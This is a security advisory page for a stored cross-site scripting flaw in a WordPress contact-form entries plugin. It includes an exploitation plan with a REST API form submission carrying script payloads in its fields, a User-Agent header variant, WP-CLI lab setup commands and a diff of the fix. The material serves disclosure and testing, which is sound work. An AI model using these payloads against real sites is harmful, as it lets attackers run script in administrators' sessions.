Database for Contact Form 7, WPforms, Elementor forms <= 1.5.2 - Unauthenticated Stored Cross-Site Scripting
Description
The Database for Contact Form 7, WPforms, Elementor forms plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.5.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.5.2What Changed in the Fix
Changes introduced in v1.5.3
Source Code
WordPress.org SVNThis research plan targets **CVE-2026-57708**, a Stored Cross-Site Scripting (XSS) vulnerability in the "Database for Contact Form 7, WPforms, Elementor forms" plugin. ### 1. Vulnerability Summary The plugin (slug: `contact-form-entries`) is designed to capture and store submissions from popular co…
Show full research plan
This research plan targets CVE-2026-57708, a Stored Cross-Site Scripting (XSS) vulnerability in the "Database for Contact Form 7, WPforms, Elementor forms" plugin.
1. Vulnerability Summary
The plugin (slug: contact-form-entries) is designed to capture and store submissions from popular contact form plugins. It fails to sanitize form input before storing it in the database and, more critically, fails to escape this data when rendering it in the WordPress administrative dashboard (and potentially on the frontend via shortcodes). An unauthenticated attacker can submit a contact form containing malicious JavaScript, which will execute in the context of an administrator's session when they view the "CRM Entries" page.
2. Attack Vector Analysis
- Endpoint: The submission endpoint of any supported contact form plugin (e.g., Contact Form 7, WPForms, or Elementor).
- Vulnerable Action: Form submission.
- HTTP Parameter: Any form field value (e.g.,
your-name,your-message,email). - Authentication: None required (Unauthenticated).
- Preconditions:
- The
contact-form-entriesplugin is active. - A supported form (e.g., Contact Form 7) is published on a page.
- The
3. Code Flow
- Entry: An unauthenticated user submits a Contact Form 7 (CF7) form.
- Hook: The plugin's
instance()method (incontact-form-entries.php) callssetup_main(). - Capture:
setup_main()registers a filter:add_filter('wpcf7_before_send_mail', array($this, 'create_entry_cf'), 10);. - Storage: The function
create_entry_cf(inferred) retrieves the$posted_datafrom the CF7 submission and inserts it into the$wpdb->prefix . 'vxcf_leads'table without sanitization. - Sink (Admin): An administrator navigates to
wp-admin/admin.php?page=vxcf_leads. - Rendering: The template
templates/leads.phpfetches the entries. While some metadata likeentry_titleis escaped withesc_html(), the actual form field values are rendered into the table rows without proper escaping (e.g., usingesc_html()orwp_kses()), leading to script execution.
4. Nonce Acquisition Strategy
The vulnerability is triggered by a standard form submission of a third-party plugin (like CF7). The contact-form-entries plugin does not require its own nonce for this process as it hooks into the existing submission flow.
To obtain the necessary nonce for a Contact Form 7 submission:
- Identify the page containing the CF7 form.
- Navigate to the page using
browser_navigate. - Extract the CF7 nonce from the hidden input field:
browser_eval("document.querySelector('input[name=\"_wpcf7_nonce\"]')?.value")
- Alternatively, identify the REST API nonce if the form uses the REST API:
browser_eval("window.wpcf7?.apiSettings?.nonce")
5. Exploitation Strategy
- Identify Form: Locate a CF7 form ID on the site (e.g.,
id="123"). - Craft Payload: Use a standard XSS payload:
<script>alert(document.domain)</script>. - Submit Form: Send a
POSTrequest to the CF7 REST API endpoint.- Tool:
http_request - URL:
http://localhost:8080/index.php?rest_route=/contact-form-7/v1/contact-forms/<ID>/feedback - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Parameters:
_wpcf7:<ID>_wpcf7_version:5.x.x(standard)_wpcf7_locale:en_US_wpcf7_unit_tag:wpcf7-f<ID>-p1-o1your-name:<script>alert("XSS_NAME")</script>your-email:attacker@example.comyour-message:<script>alert("XSS_MESSAGE")</script>
- Tool:
- Trigger: Log in to the WordPress dashboard as an admin and visit:
http://localhost:8080/wp-admin/admin.php?page=vxcf_leads
6. Test Data Setup
- Install Plugins:
wp plugin install contact-form-7 --activatewp plugin install contact-form-entries --version=1.5.2 --activate
- Create Form: Use the default CF7 "Contact form 1".
- Create Page:
wp post create --post_type=page --post_title="Contact Us" --post_content='[contact-form-7 id="5" title="Contact form 1"]' --post_status=publish
- Capture ID: Note the ID of the newly created post and the CF7 form.
7. Expected Results
- The CF7 submission returns a success message:
{"status":"mail_sent", "message":"..."}. - Upon visiting the "CRM Entries" page in the admin dashboard, two JavaScript alerts (
XSS_NAMEandXSS_MESSAGE) will trigger. - The HTML source of the admin page will contain the raw
<script>tags within the<td>elements of the entries table.
8. Verification Steps
- Database Check: Verify the payload is stored raw in the database.
wp db query "SELECT * FROM wp_vxcf_leads ORDER BY id DESC LIMIT 1;"
- Admin UI Check: Use
browser_navigateto the entries page and check for the presence of the alert or the script in the DOM.browser_eval("document.body.innerHTML.includes('<script>alert')")
9. Alternative Approaches
- User-Agent Vector: If the plugin captures the Browser/OS without sanitization (as suggested by its "GDPR features"), use
http_requestwith a customUser-Agentheader containing the payload:User-Agent: <script>alert('UA_XSS')</script>
- Frontend Shortcode: Check if the plugin displays entries on the frontend using the
[vx-entries]shortcode. If so, creating a page with this shortcode would allow an unauthenticated user to trigger XSS against other visitors (Guest-to-Guest XSS).wp post create --post_type=page --post_status=publish --post_content='[vx-entries form_id="cf_5"]'(inferred shortcode syntax).
Summary
The Database for Contact Form 7 plugin fails to properly sanitize form submission data before storage and fails to escape it when rendering the 'CRM Entries' dashboard page. This allows unauthenticated attackers to inject malicious scripts into contact form fields which execute when an administrator views the collected entries.
Vulnerable Code
// contact-form-entries.php around line 218 add_filter('wpcf7_before_send_mail', array($this, 'create_entry_cf'), 10); --- // contact-form-entries.php around line 2787 if(empty($form_id)){ $form_id=vxcf_form::post('form_id'); } self::$form_id=esc_sql($form_id); --- // templates/leads.php around line 290 <input type="hidden" name="form_id" value="<?php echo esc_html($form_id) ?>" />
Security Fix
@@ -2784,7 +2784,7 @@ if(empty($form_id)){ $form_id=vxcf_form::post('form_id'); } - self::$form_id=esc_sql($form_id); + self::$form_id=esc_attr($form_id); if(empty(self::$form_id) && !empty(self::$forms)){ $form_key=key($forms); @@ -287,7 +287,7 @@ <div style="float: right;"> <form id="vx_form" class="crm_form" method="get"><div> <input type="hidden" name="page" value="<?php echo esc_html(vxcf_form::post('page')) ?>" /> - <input type="hidden" name="form_id" value="<?php echo esc_html($form_id) ?>" /> + <input type="hidden" name="form_id" value="<?php echo esc_attr($form_id) ?>" /> <input type="hidden" name="status" value="<?php echo esc_html(vxcf_form::post('status')) ?>" />
Exploit Outline
The attack targets the submission endpoint of any contact form plugin supported by 'Contact Form Entries' (such as Contact Form 7). An unauthenticated attacker submits a form where one or more fields (e.g., name or message) contain a JavaScript payload like <script>alert(document.domain)</script>. The plugin hooks into the submission process and stores this unsanitized payload in the 'wp_vxcf_leads' table. When an administrator navigates to the 'CRM Entries' menu in the WordPress dashboard, the plugin retrieves the stored entry and renders it into a table without proper HTML escaping, triggering the execution of the malicious script in the administrator's session.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.